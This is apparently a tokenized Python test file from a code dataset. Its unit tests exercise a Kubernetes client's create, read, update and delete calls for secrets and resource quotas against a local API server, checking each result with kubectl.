"ecr", "ets_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "decode", "d\\u", "secret_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "name_", "=_", "self_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "filename_", "=_", "\"/", "tmp", "/{", "0", "}.", "json", "\"_", "._", "format_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "open_", "(_", "filename_", ",_", "'", "w", "'_", ")_", "as_", "f_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "json_", "._", "dump_", "(_", "self_", "._", "request_", ",_", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "create_", "=_", "Popen_", "(_", "[_", "\"", "kubec", "tl", "\"_", ",_", "\"--", "namespace", "=", "default", "\"_", ",_", "\"", "create", "\"_", ",_", "\"-", "f", "\"_", ",_", "filename_", "]_", ",_", "stdout_", "=_", "PIPE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "wee", " ", "need", " ", "to", " ", "give", " ", "etcd", " ", "to", " ", "populate", " ", "data", " ", "on", " ", "all", " ", "nodes_", "\\u\\u\\uNL\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "res_", "=_", "k", "8s", "_", "._", "get", "\\u", "secrets_", "(_", "\"", "default", "\"_", ",_", "name_", ",_", "apis", "erver", "\\u", "url_", "=_", "\"", "http", "://", "127", ".0", ".0", ".1", ":", "808", "0", "\"_", ",_", "decode_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", "=_", "res_", "._", "get_", "(_", "\"", "data", "\"_", ",_", "{_", "}_", ")_", "._", "get_", "(_", "\"", "tests", "ecr", "et", "\"_", ",_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "a_", ",_", "\"", "tests", "tring", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "K", "8", "SS", "ecr", "ets_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "create", "\\u", "secret_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "name_", "=_", "self_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "names_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "expected", "\\u", "data_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "2_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "names_", "._", "append_", "(_", "\"/", "tmp", "/{", "0", "}-", "{", "1", "}\"_", "._", "format_", "(_", "name_", ",_", "i_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "open_", "(_", "\"/", "tmp", "/{", "0", "}-", "{", "1", "}\"_", "._", "format_", "(_", "name_", ",_", "i_", ")_", ",_", "'", "w", "'_", ")_", "as_", "f_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "expected", "\\u", "data_", "[_", "\"{", "0", "}-", "{", "1", "}\"_", "._", "format_", "(_", "name_", ",_", "i_", ")_", "]_", "=_", "base64_", "._", "b64encode_", "(_", "\"{", "0", "}{", "1", "}\"_", "._", "format_", "(_", "name_", ",_", "i_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "write_", "(_", "\"{", "0", "}{", "1", "}\"_", "._", "format_", "(_", "name_", ",_", "i_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "res_", "=_", "k", "8s", "_", "._", "create", "\\u", "secret_", "(_", "\"", "default", "\"_", ",_", "name_", ",_", "names_", ",_", "apis", "erver", "\\u", "url_", "=_", "\"", "http", "://", "127", ".0", ".0", ".1", ":", "808", "0", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "proc_", "=_", "Popen_", "(_", "[_", "\"", "kubec", "tl", "\"_", ",_", "\"--", "namespace", "=", "default", "\"_", ",_", "\"", "get", "\"_", ",_", "\"", "secret", "s", "\"_", ",_", "name_", ",_", "\"-", "o", "\"_", ",_", "\"", "json", "\"_", "]_", ",_", "stdout_", "=_", "PIPE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kubec", "tl", "\\u", "out_", "=_", "json_", "._", "loads_", "(_", "proc_", "._", "communicate_", "(_", ")_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "if", " ", "creati", "on", " ", "is", " ", "fail", "ed", ",", " ", "kubernetes", " ", "return", " ", "non", " ", "json", " ", "error", " ", "message_", "\\u\\u\\uNL\\u\\u\\u_", "b_", "=_", "kubec", "tl", "\\u", "out_", "._", "get_", "(_", "\"", "data", "\"_", ",_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "isinstance_", "(_", "kubec", "tl", "\\u", "out_", ",_", "dict_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "expected", "\\u", "data_", ",_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "K", "8", "SS", "ecr", "ets_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "update", "\\u", "secret_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "name_", "=_", "self_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "filename_", "=_", "\"/", "tmp", "/{", "0", "}.", "json", "\"_", "._", "format_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "open_", "(_", "filename_", ",_", "'", "w", "'_", ")_", "as_", "f_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "json_", "._", "dump_", "(_", "self_", "._", "request_", ",_", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "create_", "=_", "Popen_", "(_", "[_", "\"", "kubec", "tl", "\"_", ",_", "\"--", "namespace", "=", "default", "\"_", ",_", "\"", "create", "\"_", ",_", "\"-", "f", "\"_", ",_", "filename_", "]_", ",_", "stdout_", "=_", "PIPE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "wee", " ", "need", " ", "to", " ", "give", " ", "kubernetes", " ", "time", " ", "save", " ", "data", " ", "in", " ", "etcd", "_", "\\u\\u\\uNL\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "expected", "\\u", "data_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "names_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "3_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "names_", "._", "append_", "(_", "\"/", "tmp", "/{", "0", "}-", "{", "1", "}-", "update", "d", "\"_", "._", "format_", "(_", "name_", ",_", "i_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "open_", "(_", "\"/", "tmp", "/{", "0", "}-", "{", "1", "}-", "update", "d", "\"_", "._", "format_", "(_", "name_", ",_", "i_", ")_", ",_", "'", "w", "'_", ")_", "as_", "f_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "expected", "\\u", "data_", "[_", "\"{", "0", "}-", "{", "1", "}-", "update", "d", "\"_", "._", "format_", "(_", "name_", ",_", "i_", ")_", "]_", "=_", "base64_", "._", "b64encode_", "(_", "\"{", "0", "}{", "1", "}-", "update", "d", "\"_", "._", "format_", "(_", "name_", ",_", "i_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "write_", "(_", "\"{", "0", "}{", "1", "}-", "update", "d", "\"_", "._", "format_", "(_", "name_", ",_", "i_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "res_", "=_", "k", "8s", "_", "._", "update", "\\u", "secret_", "(_", "\"", "default", "\"_", ",_", "name_", ",_", "names_", ",_", "apis", "erver", "\\u", "url_", "=_", "\"", "http", "://", "127", ".0", ".0", ".1", ":", "808", "0", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "if", " ", "creati", "on", " ", "is", " ", "fail", "ed", ",", " ", "kubernetes", " ", "return", " ", "non", " ", "json", " ", "error", " ", "message_", "\\u\\u\\uNL\\u\\u\\u_", "proc_", "=_", "Popen_", "(_", "[_", "\"", "kubec", "tl", "\"_", ",_", "\"--", "namespace", "=", "default", "\"_", ",_", "\"", "get", "\"_", ",_", "\"", "secret", "s", "\"_", ",_", "name_", ",_", "\"-", "o", "\"_", ",_", "\"", "json", "\"_", "]_", ",_", "stdout_", "=_", "PIPE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kubec", "tl", "\\u", "out_", "=_", "json_", "._", "loads_", "(_", "proc_", "._", "communicate_", "(_", ")_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "if", " ", "creati", "on", " ", "is", " ", "fail", "ed", ",", " ", "kubernetes", " ", "return", " ", "non", " ", "json", " ", "error", " ", "message_", "\\u\\u\\uNL\\u\\u\\u_", "b_", "=_", "kubec", "tl", "\\u", "out_", "._", "get_", "(_", "\"", "data", "\"_", ",_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "isinstance_", "(_", "kubec", "tl", "\\u", "out_", ",_", "dict_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "expected", "\\u", "data_", ",_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "K", "8", "SS", "ecr", "ets_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "delete", "\\u", "secret_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "name_", "=_", "self_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "filename_", "=_", "\"/", "tmp", "/{", "0", "}.", "json", "\"_", "._", "format_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "open_", "(_", "filename_", ",_", "'", "w", "'_", ")_", "as_", "f_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "json_", "._", "dump_", "(_", "self_", "._", "request_", ",_", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "create_", "=_", "Popen_", "(_", "[_", "\"", "kubec", "tl", "\"_", ",_", "\"--", "namespace", "=", "default", "\"_", ",_", "\"", "create", "\"_", ",_", "\"-", "f", "\"_", ",_", "filename_", "]_", ",_", "stdout_", "=_", "PIPE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "wee", " ", "need", " ", "to", " ", "give", " ", "kubernetes", " ", "time", " ", "save", " ", "data", " ", "in", " ", "etcd", "_", "\\u\\u\\uNL\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "res_", "=_", "k", "8s", "_", "._", "delete", "\\u", "secret_", "(_", "\"", "default", "\"_", ",_", "name_", ",_", "apis", "erver", "\\u", "url_", "=_", "\"", "http", "://", "127", ".0", ".0", ".1", ":", "808", "0", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "proc_", "=_", "Popen_", "(_", "[_", "\"", "kubec", "tl", "\"_", ",_", "\"--", "namespace", "=", "default", "\"_", ",_", "\"", "get", "\"_", ",_", "\"", "secret", "s", "\"_", ",_", "name_", ",_", "\"-", "o", "\"_", ",_", "\"", "json", "\"_", "]_", ",_", "stdout_", "=_", "PIPE_", ",_", "stderr_", "=_", "PIPE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kubec", "tl", "\\u", "out_", ",_", "err_", "=_", "proc_", "._", "communicate_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "stdout", " ", "is", " ", "empty", ",", " ", "std", "err", " ", "is", " ", "showin", "g", " ", "somet", "hing", " ", "like", " ", "\"", "not", " ", "found", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "''_", ",_", "kubec", "tl", "\\u", "out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "'", "Error", " ", "from", " ", "server", ":", " ", "secret", "s", " ", "\"{", "0", "}\"", " ", "not", " ", "found", "\\\\", "n", "'_", "._", "format_", "(_", "name_", ")_", ",_", "err_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "K", "8", "SR", "esource", "Quota", "s_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "resource", "\\u", "quotas_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "name_", "=_", "self_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "namespace_", "=_", "self_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "create", "\\u", "namespace_", "=_", "Popen_", "(_", "[_", "\"", "kubec", "tl", "\"_", ",_", "\"", "create", "\"_", ",_", "\"", "namespace", "\"_", ",_", "namespace_", "]_", ",_", "stdout_", "=_", "PIPE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "create", "\\u", "namespace_", "=_", "Popen_", "(_", "[_", "\"", "kubec", "tl", "\"_", ",_", "\"", "create", "\"_", ",_", "\"", "namespace", "\"_", ",_", "namespace_", "]_", ",_", "stdout_", "=_", "PIPE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "=_", "\"\"\"", "\\", "10", ";", "api", "Version", ":", " ", "v1", "\\", "10", ";", "kind", ":", " ", "Reso", "urc", "e", "Quota", "\\", "10", ";", "metadata", ":", "\\", "10", ";", " ", " ", "name", ":", " ", "{", "0", "}", "\\", "10", ";", "spec", ":", "\\", "10", ";", " ", " ", "hard", ":", "\\", "10", ";", " ", " ", " ", " ", "cpu", ":", " ", "\"", "20", "\"", "\\", "10", ";", " ", " ", " ", " ", "memory", ":", " ", "1", "Gi", "\\", "10", ";", " ", " ", " ", " ", "persiste", "nt", "volume", "claim", "s", ":", " ", "\"", "10", "\"", "\\", "10", ";", " ", " ", " ", " ", "pods", ":", " ", "\"", "10", "\"", "\\", "10", ";", " ", " ", " ", " ", "replication", "controlle", "rs", ":", " ", "\"", "20", "\"", "\\", "10", ";", " ", " ", " ", " ", "resource", "quotas", ":", " ", "\"", "1", "\"", "\\", "10", ";", " ", " ", " ", " ", "secret", "s", ":", " ", "\"", "10", "\"", "\\", "10", ";", " ", " ", " ", " ", "service", "s", ":", " ", "\"", "5", "\"", "\\", "10", ";\"\"\"_", "._", "format_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "filename_", "=_", "\"/", "tmp", "/{", "0", "}.", "yaml", "\"_", "._", "format_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "open_", "(_", "filename_", ",_", "'", "w", "'_", ")_", "as_", "f_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "._", "write_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "create_", "=_", "Popen_", "(_", "[_", "\"", "kubec", "tl", "\"_", ",_", "\"--", "namespace", "={", "0", "}\"_", "._", "format_", "(_", "namespace_", ")_", ",_", "\"", "create", "\"_", ",_", "\"-", "f", "\"_", ",_", "filename_", "]_", ",_", "stdout_", "=_", "PIPE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "wee", " ", "need", " ", "to", " ", "give", " ", "kubernetes", " ", "time", " ", "save", " ", "data", " ", "in", " ", "etcd", "_", "\\u\\u\\uNL\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "res_", "=_", "k", "8s", "_", "._", "get", "\\u", "resource", "\\u", "quotas_", "(_", "namespace_", ",_", "apis", "erver", "\\u", "url_", "=_", "\"", "http", "://", "127", ".0", ".0", ".1", ":", "808", "0", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", "=_", "len_", "(_", "res_", "._", "get_", "(_", "\"", "items", "\"_", ",_", "[_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "proc_", "=_", "Popen_", "(_", "[_", "\"", "kubec", "tl", "\"_", ",_", "\"--", "namespace", "={", "0", "}\"_", "._", "format_", "(_", "namespace_", ")_", ",_", "\"", "get", "\"_", ",_", "\"", "quot", "a", "\"_", ",_", "\"-", "o", "\"_", ",_", "\"", "json", "\"_", "]_", ",_", "stdout_", "=_", "PIPE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kubec", "tl", "\\u", "out_", "=_", "json_", "._", "loads_", "(_", "proc_", "._", "communicate_", "(_", ")_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "b_", "=_", "len_", "(_", "kubec", "tl", "\\u", "out_", "._", "get_", "(_", "\"", "items", "\"_", ",_", "[_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "a_", ",_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "K", "8", "SR", "esource", "Quota", "s_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "one", "\\u", "resource", "\\u", "quota_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "name_", "=_", "self_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "namespace_", "=_", "self_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "create", "\\u", "namespace_", "=_", "Popen_", "(_", "[_", "\"", "kubec", "tl", "\"_", ",_", "\"", "create", "\"_", ",_", "\"", "namespace", "\"_", ",_", "namespace_", "]_", ",_", "stdout_", "=_", "PIPE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "=_", "\"\"\"", "\\", "10", ";", "api", "Version", ":", " ", "v1", "\\", "10", ";", "kind", ":", " ", "Reso", "urc", "e", "Quota", "\\", "10", ";", "metadata", ":", "\\", "10", ";", " ", " ", "name", ":", " ", "{", "0", "}", "\\", "10", ";", "spec", ":", "\\", "10", ";", " ", " ", "hard", ":", "\\", "10", ";", " ", " ", " ", " ", "cpu", ":", " ", "\"", "20", "\"", "\\", "10", ";", " ", " ", " ", " ", "memory", ":", " ", "1", "Gi", "\\", "10", ";", " ", " ", " ", " ", "persiste", "nt", "volume", "claim", "s", ":", " ", "\"", "10", "\"", "\\", "10", ";", " ", " ", " ", " ", "pods", ":", " ", "\"", "10", "\"", "\\", "10", ";", " ", " ", " ", " ", "replication", "controlle", "rs", ":", " ", "\"", "20", "\"", "\\", "10", ";", " ", " ", " ", " ", "resource", "quotas", ":", " ", "\"", "1", "\"", "\\", "10", ";", " ", " ", " ", " ", "secret", "s", ":", " ", "\"", "10", "\"", "\\", "10", ";", " ", " ", " ", " ", "service", "s", ":", " ", "\"", "5", "\"", "\\", "10", ";\"\"\"_", "._", "format_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "filename_", "=_", "\"/", "tmp", "/{", "0", "}.", "yaml", "\"_", "._", "format_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "open_", "(_", "filename_", ",_", "'", "w", "'_", ")_", "as_", "f_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "._", "write_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "create_", "=_", "Popen_", "(_", "[_", "\"", "kubec", "tl", "\"_", ",_", "\"--", "namespace", "={", "0", "}\"_", "._", "format_", "(_", "namespace_", ")_", ",_", "\"", "create", "\"_", ",_", "\"-", "f", "\"_", ",_", "filename_", "]_", ",_", "stdout_", "=_", "PIPE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "wee", " ", "need", " ", "to", " ", "give", " ", "kubernetes", " ", "time", " ", "save", " ", "data", " ", "in", " ", "etcd", "_", "\\u\\u\\uNL\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "res_", "=_", "k", "8s", "_", "._", "get", "\\u", "resource", "\\u", "quotas_", "(_", "namespace_", ",_", "name_", ",_", "apis", "erver", "\\u", "url_", "=_", "\"", "http", "://", "127", ".0", ".0", ".1", ":", "808", "0", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", "=_", "res_", "._", "get_", "(_", "\"", "metadata", "\"_", ",_", "{_", "}_", ")_", "._", "get_", "(_", "\"", "name", "\"_", ",_", "\"", "a", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "proc_", "=_", "Popen_", "(_", "[_", "\"", "kubec", "tl", "\"_", ",_", "\"--", "namespace", "={", "0", "}\"_", "._", "format_", "(_", "namespace_", ")_", ",_", "\"", "get", "\"_", ",_", "\"", "quot", "a", "\"_", ",_", "name_", ",_", "\"-", "o", "\"_", ",_", "\"", "json", "\"_", "]_", ",_", "stdout_", "=_", "PIPE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kubec", "tl", "\\u", "out_", "=_", "json_", "._", "loads_", "(_", "proc_", "._", "communicate_", "(_", ")_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "b_", "=_", "kubec", "tl", "\\u", "out_", "._", "get_", "(_", "\"", "metadata", "\"_", ",_", "{_", "}_", ")_", "._", "get_", "(_", "\"", "name", "\"_", ",_", "\"", "b", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "a_", ",_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "K", "8", "SR", "esource", "Quota", "s_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "create", "\\u", "resource", "\\u", "quota_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "name_", "=_", "self_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "namespace_", "=_", "self_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "create", "\\u", "namespace_", "=_", "Popen_", "(_", "[_", "\"", "kubec", "tl", "\"_", ",_", "\"", "create", "\"_", ",_", "\"", "namespace", "\"_", ",_", "namespace_", "]_", ",_", "stdout_", "=_", "PIPE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "quota_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "cpu", "\"_", ":_", "\"", "20", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "memory", "\"_", ":_", "\"", "1", "Gi", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "res_", "=_", "k", "8s", "_", "._", "create", "\\u", "resource", "\\u", "quota_", "(_", "namespace_", ",_", "quota_", ",_", "name_", "=_", "name_", ",_", "apis", "erver", "\\u", "url_", "=_", "\"", "http", "://", "127", ".0", ".0", ".1", ":", "808", "0", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "proc_", "=_", "Popen_", "(_", "[_", "\"", "kubec", "tl", "\"_", ",_", "\"--", "namespace", "={", "0", "}\"_", "._", "format_", "(_", "namespace_", ")_", ",_", "\"", "get", "\"_", ",_", "\"", "quot", "a", "\"_", ",_", "name_", ",_", "\"-", "o", "\"_", ",_", "\"", "json", "\"_", "]_", ",_", "stdout_", "=_", "PIPE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kubec", "tl", "\\u", "out_", "=_", "json_", "._", "loads_", "(_", "proc_", "._", "communicate_", "(_", ")_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "isinstance_", "(_", "kubec", "tl", "\\u", "out_", ",_", "dict_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "K", "8", "SR", "esource", "Quota", "s_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "update", "\\u", "resource", "\\u", "quota_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "name_", "=_", "self_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "namespace_", "=_", "self_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "create", "\\u", "namespace_", "=_", "Popen_", "(_", "[_", "\"", "kubec", "tl", "\"_", ",_", "\"", "create", "\"_", ",_", "\"", "namespace", "\"_", ",_", "namespace_", "]_", ",_", "stdout_", "=_", "PIPE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "=_", "\"\"\"", "\\", "10", ";", "api", "Version", ":", " ", "v1", "\\", "10", ";", "kind", ":", " ", "Reso", "urc", "e", "Quota", "\\", "10", ";", "metadata", ":", "\\", "10", ";", " ", " ", "name", ":", " ", "{", "0", "}", "\\", "10", ";", "spec", ":", "\\", "10", ";", " ", " ", "hard", ":", "\\", "10", ";", " ", " ", " ", " ", "cpu", ":", " ", "\"", "20", "\"", "\\", "10", ";", " ", " ", " ", " ", "memory", ":", " ", "1", "Gi", "\\", "10", ";", " ", " ", " ", " ", "persiste", "nt", "volume", "claim", "s", ":", " ", "\"", "10", "\"", "\\", "10", ";", " ", " ", " ", " ", "pods", ":", " ", "\"", "10", "\"", "\\", "10", ";", " ", " ", " ", " ", "replication", "controlle", "rs", ":", " ", "\"", "20", "\"", "\\", "10", ";", " ", " ", " ", " ", "resource", "quotas", ":", " ", "\"", "1", "\"", "\\", "10", ";", " ", " ", " ", " ", "secret", "s", ":", " ", "\"", "10", "\"", "\\", "10", ";", " ", " ", " ", " ", "service", "s", ":", " ", "\"", "5", "\"", "\\", "10", ";\"\"\"_", "._", "format_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "filename_", "=_", "\"/", "tmp", "/{", "0", "}.", "yaml", "\"_", "._", "format_", "(_", "name_", ")_", 